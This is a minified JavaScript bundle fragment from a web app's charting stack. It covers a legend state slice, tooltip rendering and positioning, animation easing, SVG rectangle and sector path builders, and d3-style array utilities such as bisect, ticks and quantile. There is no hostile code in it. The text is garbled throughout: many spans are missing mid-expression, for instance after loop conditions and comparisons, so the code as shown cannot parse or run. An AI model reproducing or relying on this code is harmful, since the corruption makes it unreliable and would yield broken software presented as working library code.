pN(e){if(!ra(e)||Id(e))return e;const t=e[cn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Um(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Um(e,!0);return ou(n,(i,a)=>{uN(n,i,pN(a))},r),t&&(t.finalized_=!1),n}var ZT=new GT;ZT.produce;var QT={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},mN=Xt({name:"legend",initialState:QT,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:Ue()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:Ue()},removeLegendPayload:{reducer(e,t){var n=Fn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:Ue()}}}),{setLegendSize:MV,setLegendSettings:LV,addLegendPayload:hN,replaceLegendPayload:xN,removeLegendPayload:vN}=mN.actions,JT=mN.reducer;function Ym(){return Ym=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=fa.separator,contentStyle:n,itemStyle:r,labelStyle:i=fa.labelStyle,payload:a,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:m=fa.accessibilityLayer}=e,h=()=>{if(a&&a.length){var k={padding:0,margin:0},S=(l?gd(a,l):a).map((N,z)=>{if(N.type==="none")return null;var _=N.formatter||o||rM,{value:A,name:O}=N,P=A,I=O;if(_){var U=_(A,O,N,z,a);if(Array.isArray(U))[P,I]=U;else if(U!=null)P=U;else return null}var D=As(As({},fa.itemStyle),{},{color:N.color||fa.itemStyle.color},r);return p.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(z),style:D},Pr(I)?p.createElement("span",{className:"recharts-tooltip-item-name"},I):null,Pr(I)?p.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,p.createElement("span",{className:"recharts-tooltip-item-value"},P),p.createElement("span",{className:"recharts-tooltip-item-unit"},N.unit||""))});return p.createElement("ul",{className:"recharts-tooltip-item-list",style:k},S)}return null},x=As(As({},fa.contentStyle),n),g=As({margin:0},i),y=!Pt(d),v=y?d:"",b=Xe("recharts-default-tooltip",c),w=Xe("recharts-tooltip-label",u);y&&f&&a!==void 0&&a!==null&&(v=f(d,a));var j=m?{role:"status","aria-live":"assertive"}:{};return p.createElement("div",Ym({className:b,style:x},j),p.createElement("p",{className:w,style:g},p.isValidElement(v)?v:"".concat(v)),h())},_s="recharts-tooltip-wrapper",aM={visibility:"hidden"};function sM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Xe(_s,{["".concat(_s,"-right")]:he(n)&&t&&he(t.x)&&n>=t.x,["".concat(_s,"-left")]:he(n)&&t&&he(t.x)&&n=t.y,["".concat(_s,"-top")]:he(r)&&t&&he(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var m=c[r];if(m==null)return 0;if(o[r]){var h=d,x=m;return hy?Math.max(d,m):Math.max(f,m)}function oM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function lM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:a,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,m;return l.height>0&&l.width>0&&n?(f=Iy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:a,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),m=Iy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:a,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=oM({translateX:f,translateY:m,useTranslate3d:c})):d=aM,{cssProperties:d,cssClasses:sM({translateX:f,translateY:m,coordinate:n})}}function Dy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $l(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,a;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(a=this.props.coordinate)===null||a===void 0?void 0:a.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:a,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:m,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:k}=lM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:m,viewBox:h}),S=v?{}:$l($l({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},k),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),N=$l($l({},S),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return p.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:N,ref:y},a)}}var gN=()=>{var e;return(e=ye(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function Xm(){return Xm=Object.assign?Object.assign.bind():function(e){for(var t=1;tze(e.x)&&ze(e.y),Fy=e=>e.base!=null&&uu(e.base)&&uu(e),Os=e=>e.x,Ts=e=>e.y,hM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Go(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=By["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return By[n]||ud},Wy={connectNulls:!1,type:"linear"},xM=e=>{var{type:t=Wy.type,points:n=[],baseLine:r,layout:i,connectNulls:a=Wy.connectNulls}=e,o=hM(t,i),l=a?n.filter(uu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>$y($y({},x),{},{base:r[g]}));i==="vertical"?c=_l().y(Ts).x1(Os).x0(x=>x.base.x):c=_l().x(Os).y1(Ts).y0(x=>x.base.y);var d=c.defined(Fy).curve(o),f=a?u.filter(Fy):u;return d(f)}var m;i==="vertical"&&he(r)?m=_l().y(Ts).x1(Os).x0(r):he(r)?m=_l().x(Os).y1(Ts).y0(r):m=Ej().x(Os).y(Ts);var h=m.defined(uu).curve(o);return h(l)},Ba=e=>{var{className:t,points:n,path:r,pathRef:i}=e,a=us();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||a,connectNulls:e.connectNulls},l=n&&n.length?xM(o):r;return p.createElement("path",Xm({},Cr(e),Sx(e),{className:Xe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},vM=["x","y","top","left","width","height","className"];function Zm(){return Zm=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(a,",").concat(t,"h").concat(n),SM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:a=0,height:o=0,className:l}=e,c=jM(e,vM),u=gM({x:t,y:n,top:r,left:i,width:a,height:o},c);return!he(t)||!he(n)||!he(a)||!he(o)||!he(r)||!he(i)?null:p.createElement("path",Zm({},Dt(u),{className:Xe("recharts-cross",l),d:NM(t,n,a,o,r,i)}))};function zM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function Vy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Hy(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),yN=(e,t,n)=>e.map(r=>"".concat(AM(r)," ").concat(t,"ms ").concat(n)).join(","),_M=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Lo=(e,t)=>Object.keys(t).reduce((n,r)=>Hy(Hy({},n),{},{[r]:e(r,t[r])}),{});function Ky(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ut(e){for(var t=1;te+(t-e)*n,Qm=e=>{var{from:t,to:n}=e;return t!==n},bN=(e,t,n)=>{var r=Lo((i,a)=>{if(Qm(a)){var[o,l]=e(a.from,a.to,a.velocity);return ut(ut({},a),{},{from:o,velocity:l})}return a},t);return n<1?Lo((i,a)=>Qm(a)&&r[i]!=null?ut(ut({},a),{},{velocity:du(a.velocity,r[i].velocity,n),from:du(a.from,r[i].from,n)}):a,t):bN(e,r,n-1)};function LM(e,t,n,r,i,a){var o,l=r.reduce((m,h)=>ut(ut({},m),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Lo((m,h)=>h.from,l),u=()=>!Object.values(l).filter(Qm).length,d=null,f=m=>{o||(o=m);var h=m-o,x=h/n.dt;l=bN(n,l,x),i(ut(ut(ut({},e),t),c())),o=m,u()||(d=a.setTimeout(f))};return()=>(d=a.setTimeout(f),()=>{var m;(m=d)===null||m===void 0||m()})}function IM(e,t,n,r,i,a,o){var l=null,c=i.reduce((f,m)=>{var h=e[m],x=t[m];return h==null||x==null?f:ut(ut({},f),{},{[m]:[h,x]})},{}),u,d=f=>{u||(u=f);var m=(f-u)/r,h=Lo((g,y)=>du(...y,n(m)),c);if(a(ut(ut(ut({},e),t),h)),m<1)l=o.setTimeout(d);else{var x=Lo((g,y)=>du(...y,n(1)),c);a(ut(ut(ut({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const DM=(e,t,n,r,i,a)=>{var o=_M(e,t);return n==null?()=>(i(ut(ut({},e),t)),()=>{}):n.isStepper===!0?LM(e,t,n,o,i,a):IM(e,t,n,r,o,i,a)};var fu=1e-4,wN=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],jN=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),qy=(e,t)=>n=>{var r=wN(e,t);return jN(r,n)},RM=(e,t)=>n=>{var r=wN(e,t),i=[...r.map((a,o)=>a*o).slice(1),0];return jN(i,n)},$M=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(a=>parseFloat(a));return[i[0],i[1],i[2],i[3]]},BM=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=qy(e,n),a=qy(t,r),o=RM(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,m=0;m<8;++m){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,a=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,m=c*i/1e3+o;return Math.abs(m-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return Yy(e);case"spring":return WM();default:if(e.split("(")[0]==="cubic-bezier")return Yy(e)}return typeof e=="function"?e:null};function VM(e){var t,n=()=>null,r=!1,i=null,a=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(a.bind(null,u),c);return}a(c),i=e.setTimeout(a.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),a(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class HM{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,a=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(a))};return i=requestAnimationFrame(a),()=>{i!=null&&cancelAnimationFrame(i)}}}function KM(){return VM(new HM)}var qM=p.createContext(KM);function YM(e,t){var n=p.useContext(qM);return p.useMemo(()=>t??n(e),[e,t,n])}var GM=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Dd={isSsr:GM()},XM={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},Gy={t:0},rp={t:1};function Rd(e){var t=fn(e,XM),{isActive:n,canBegin:r,duration:i,easing:a,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Dd.isSsr:n,f=YM(t.animationId,t.animationManager),[m,h]=p.useState(d?Gy:rp),x=p.useRef(null);return p.useEffect(()=>{d||h(rp)},[d]),p.useEffect(()=>{if(!d||!r)return cs;var g=DM(Gy,rp,UM(a),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,a,o,c,l,f]),u(m.t)}function $d(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=p.useRef(Po(t)),r=p.useRef(e);return r.current!==e&&(n.current=Po(t),r.current=e),n.current}var ZM=["radius"],QM=["radius"],Xy,Zy,Qy,Jy,e1,t1,n1,r1,i1,a1;function s1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function o1(e){for(var t=1;t{var a=ti(n),o=ti(r),l=Math.min(Math.abs(a)/2,Math.abs(o)/2),c=o>=0?1:-1,u=a>=0?1:-1,d=o>=0&&a>=0||o<0&&a<0?1:0,f;if(l>0&&Array.isArray(i)){for(var m=[0,0,0,0],h=0,x=4;hl?l:y}f=Qe(Xy||(Xy=Zn(["M",",",""])),e,t+c*m[0]),m[0]>0&&(f+=Qe(Zy||(Zy=Zn(["A ",",",",0,0,",",",",",""])),m[0],m[0],d,e+u*m[0],t)),f+=Qe(Qy||(Qy=Zn(["L ",",",""])),e+n-u*m[1],t),m[1]>0&&(f+=Qe(Jy||(Jy=Zn(["A ",",",",0,0,",`, `,",",""])),m[1],m[1],d,e+n,t+c*m[1])),f+=Qe(e1||(e1=Zn(["L ",",",""])),e+n,t+r-c*m[2]),m[2]>0&&(f+=Qe(t1||(t1=Zn(["A ",",",",0,0,",`, `,",",""])),m[2],m[2],d,e+n-u*m[2],t+r)),f+=Qe(n1||(n1=Zn(["L ",",",""])),e+u*m[3],t+r),m[3]>0&&(f+=Qe(r1||(r1=Zn(["A ",",",",0,0,",`, `,",",""])),m[3],m[3],d,e,t+r-c*m[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=Qe(i1||(i1=Zn(["M ",",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=Qe(a1||(a1=Zn(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},u1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},kN=e=>{var t=fn(e,u1),n=p.useRef(null),[r,i]=p.useState(-1);p.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:a,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:m,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=p.useRef(l),v=p.useRef(c),b=p.useRef(a),w=p.useRef(o),j=p.useMemo(()=>({x:a,y:o,width:l,height:c,radius:u}),[a,o,l,c,u]),k=$d(j,"rectangle-");if(a!==+a||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var S=Xe("recharts-rectangle",d);if(!g){var N=Dt(t),{radius:z}=N,_=l1(N,ZM);return p.createElement("path",pu({},_,{x:ti(a),y:ti(o),width:ti(l),height:ti(c),radius:typeof u=="number"?u:void 0,className:S,d:c1(a,o,l,c,u)}))}var A=y.current,O=v.current,P=b.current,I=w.current,U="0px ".concat(r===-1?1:r,"px"),D="".concat(r,"px 0px"),M=yN(["strokeDasharray"],m,typeof f=="string"?f:u1.animationEasing);return p.createElement(Rd,{animationId:k,key:k,canBegin:r>0,duration:m,easing:f,isActive:g,begin:h},F=>{var R=St(A,l,F),W=St(O,c,F),$=St(P,a,F),H=St(I,o,F);n.current&&(y.current=R,v.current=W,b.current=$,w.current=H);var X;x?F>0?X={transition:M,strokeDasharray:D}:X={strokeDasharray:U}:X={strokeDasharray:D};var se=Dt(t),{radius:ue}=se,ge=l1(se,QM);return p.createElement("path",pu({},ge,{radius:typeof u=="number"?u:void 0,className:S,d:c1($,H,R,W,u),ref:n,style:o1(o1({},X),t.style)}))})};function d1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function f1(e){for(var t=1;te*180/Math.PI,st=(e,t,n,r)=>({x:e+Math.cos(-mu*r)*n,y:t+Math.sin(-mu*r)*n}),NN=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},o8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:a}=t;return Math.sqrt((n-i)**2+(r-a)**2)},l8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:a}=t,o=o8({x:n,y:r},{x:i,y:a});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>a&&(c=2*Math.PI-c),{radius:o,angle:s8(c),angleInRadian:c}},c8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),a=Math.min(r,i);return{startAngle:t-a*360,endAngle:n-a*360}},u8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),a=Math.floor(r/360),o=Math.min(i,a);return e+o*360},d8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:a}=l8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=c8(t),d=a,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?f1(f1({},t),{},{radius:i,angle:u8(d,t)}):null};function SN(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:a}=e,o=st(t,n,r,i),l=st(t,n,r,a);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:a}}var p1,m1,h1,x1,v1,g1,y1;function Jm(){return Jm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=Ut(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Bl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:a,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/mu,f=c?i:i+a*d,m=st(t,n,u,f),h=st(t,n,r,f),x=c?i-a*d:i,g=st(t,n,u*Math.cos(d*mu),x);return{center:m,circleTangency:h,lineTangency:g,theta:d}},zN=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:a,endAngle:o}=e,l=f8(a,o),c=a+l,u=st(t,n,i,a),d=st(t,n,i,c),f=Qe(p1||(p1=Ri(["M ",",",` A `,",",`,0, `,",",`, `,",",` `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(a>c),d.x,d.y);if(r>0){var m=st(t,n,r,a),h=st(t,n,r,c);f+=Qe(m1||(m1=Ri(["L ",",",` A `,",",`,0, `,",",`, `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(a<=c),m.x,m.y)}else f+=Qe(h1||(h1=Ri(["L ",","," Z"])),t,n);return f},p8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:a,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Ut(u-c),{circleTangency:f,lineTangency:m,theta:h}=Bl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:a,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Bl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:a,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?Qe(x1||(x1=Ri(["M ",",",` a`,",",",0,0,1,",`,0 a`,",",",0,0,1,",`,0 `])),m.x,m.y,a,a,a*2,a,a,-a*2):zN({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=Qe(v1||(v1=Ri(["M ",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` A`,",",",0,0,",",",",",` `])),m.x,m.y,a,a,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,a,a,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:k}=Bl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),{circleTangency:S,lineTangency:N,theta:z}=Bl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),_=l?Math.abs(c-u):Math.abs(c-u)-k-z;if(_<0&&a===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=Qe(g1||(g1=Ri(["L",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` A`,",",",0,0,",",",",","Z"])),N.x,N.y,a,a,+(d<0),S.x,S.y,r,r,+(_>180),+(d>0),w.x,w.y,a,a,+(d<0),j.x,j.y)}else b+=Qe(y1||(y1=Ri(["L",",","Z"])),t,n);return b},m8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},CN=e=>{var t=fn(e,m8),{cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(a0&&Math.abs(u-d)<360?g=p8({cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=zN({cx:n,cy:r,innerRadius:i,outerRadius:a,startAngle:u,endAngle:d}),p.createElement("path",Jm({},Dt(t),{className:m,d:g}))};function h8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(Kj(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:a,outerRadius:o,angle:l}=t,c=st(r,i,a,l),u=st(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return SN(t)}}var PN={},EN={},AN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Lx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(AN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=AN;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(EN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Ix,n=EN;function r(i,a,o){o&&typeof o!="number"&&t.isIterateeCall(i,a,o)&&(a=o=void 0),i=n.toFinite(i),a===void 0?(a=i,i=0):a=n.toFinite(a),o=o===void 0?it?1:e>=t?0:NaN}function v8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function qx(e){let t,n,r;e.length!==2?(t=fi,n=(l,c)=>fi(e(l),c),r=(l,c)=>e(l)-c):(t=e===fi||e===v8?e:g8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:a}}function g8(){return 0}function ON(e){return e===null?NaN:+e}function*y8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const b8=qx(fi),tl=b8.right;qx(ON).center;class b1 extends Map{constructor(t,n=k8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(w1(this,t))}has(t){return super.has(w1(this,t))}set(t,n){return super.set(w8(this,t),n)}delete(t){return super.delete(j8(this,t))}}function w1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function w8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function j8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function k8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function N8(e=fi){if(e===fi)return TN;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function TN(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const S8=Math.sqrt(50),z8=Math.sqrt(10),C8=Math.sqrt(2);function hu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),a=r/Math.pow(10,i),o=a>=S8?10:a>=z8?5:a>=C8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=a-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function k1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function MN(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?TN:N8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),m=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+m)),x=Math.min(r,Math.floor(t+(c-u)*f/c+m));MN(e,t,h,x,i)}const a=e[t];let o=n,l=r;for(Ms(e,n,t),i(e[r],a)>0&&Ms(e,n,r);o0;)--l}i(e[n],a)===0?Ms(e,n,l):(++l,Ms(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Ms(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function P8(e,t,n){if(e=Float64Array.from(y8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return k1(e);if(t>=1)return j1(e);var r,i=(r-1)*t,a=Math.floor(i),o=j1(MN(e,a).subarray(0,a+1)),l=k1(e.subarray(a+1));return o+(l-o)*(i-a)}}function E8(e,t,n=ON){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,a=Math.floor(i),o=+n(e[a],a,e),l=+n(e[a+1],a+1,e);return o+(l-o)*(i-a)}}function A8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,a=new 